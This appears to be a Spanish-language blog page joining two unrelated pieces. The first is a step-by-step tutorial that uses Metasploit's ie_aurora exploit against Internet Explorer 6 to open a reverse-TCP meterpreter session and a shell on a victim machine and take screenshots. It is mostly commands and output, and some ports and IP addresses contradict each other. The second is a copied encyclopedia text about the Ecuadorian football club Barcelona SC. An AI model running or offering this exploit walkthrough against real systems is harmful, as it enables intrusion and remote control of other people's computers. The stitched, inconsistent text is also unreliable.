Hoy hice una prueba de penetracion y salio todo ok

primero la penetracion se hizo a IE 6 no lo he probado en otro es una falla de seguridad en IE q permite tomar control de la shell de la maquina atacada con locual podrias bajar subir archivos o ejecutar programas en la pc victima

herramientas usadas
- Metasploit

Victima
- IE 6

escenario :

tienes una maquina A y una maquina B y necesitas entrar en  la maquina con la maquina A
la maquina A con ip 192.168.0.6 y la B con 192.168.0.51

lo primero q tienes q hacer es instalar en ala maquina atacante el programa de penetracion Metasploit  q es un opensource q lo puedes encontrar en aqui esto te instala la herramientas para penetrar
cuando hayas de terminado de instalar debes de ejecutar el programa y seguir estos pasos
  en la shell q te aparece escribe



msf > use exploit/windows/browser/ie_aurora
msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_aurora) > set LHOST 192.168.0.6
msf exploit(ie_aurora) > set LPORT 4446
msf exploit(ie_aurora) > set URIPATH /
msf exploit(ie_aurora) > exploit

[*] Exploit running as background job.
[*] Started reverse handler on port 4444
[*] Local IP: http://192.168.0.151:8080/
[*] Server started.

 hasta ahora has cargado el exploit  parametrizado la ip el puerto y el servidor web
set LHOST define la ip
set LPORT define el puerto a utilizar
set URIPATH / define q tu sitio web es de raiz
  exploit ejecuta el exploit y levanta el server web q espera q alguien le haga el requerimiento a el




ahora desde la maquina victima  abre con IE un ventana y pon http://192.168.0.6:800/

veras este mensaje

[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.6:4446 -> 192.168.0.51:1514)


acabas de abrir una sesion

 escribe estos parametros y lista  abres una session y es como si estubieras en la maquina

msf exploit(ie_aurora) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WINXP\Developer




meterpreter > shell
Process 892 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Developer\Desktop>  



si quieres caopturar la pantalla en un bpm


meterpreter > use espia
Loading extension espia...success.

meterpreter > screenshot aurora.bmp




para mas informacion


http://blog.metasploit.com/2010/01/reproducing-aurora-ie-exploit.html

si te gusta los videos

http://www.mygeekside.com/?p=767

¿Cree usted que barcelona si entrena en Quito dara resultados?

El Barcelona Sporting Club, es una institución deportiva de la ciudad de Guayaquil, en la provincia de Guayas, en Ecuador. Fue fundado el 1 de mayo de 1925 por un grupo de jóvenes futbolistas aficionados, entre los cuales se encontraban varios catalanes.

Uno de sus hechos distintivos es la enorme masa de social y de fanáticos, con lo cual ha sido varias veces denominado como el equipo más popular del país mediante encuestas y la reacción de sus hinchas a cada ciudad que visita el equipo guayaquileño.

Con trece campeonatos nacionales, es el equipo que más títulos ha conseguido en el ámbito nacional, junto al Club Deportivo El Nacional de la ciudad de Quito.[5] Ha disputado en dos ocasiones la final de la Copa Libertadores de América, en 1990 y 1998, quedando en ambas vicecampeón. En el 2008, su sección de baloncesto quedó campeón en la Liga Nacional de Básquet 2008 de Ecuador.

Entre las características del Barcelona SC está su carácter polideportivo. Su actividad principal es el fútbol profesional y actualmente se desempeña en la Serie A del Campeonato Ecuatoriano de Fútbol. Además del fútbol, la institución cuenta con secciones profesionales de baloncesto, bolos, boxeo, natación, volley, béisbol, fútbol sala, atletismo y tenis.

El equipo mantiene una rivalidad histórica con el Club Sport Emelec, equipo de la misma ciudad, con el cual juega el derbi de mayor trascendencia en el país denomidado Clásico del Astillero

Tomado de wikipea para mas informacion



un video para los fans de barcelona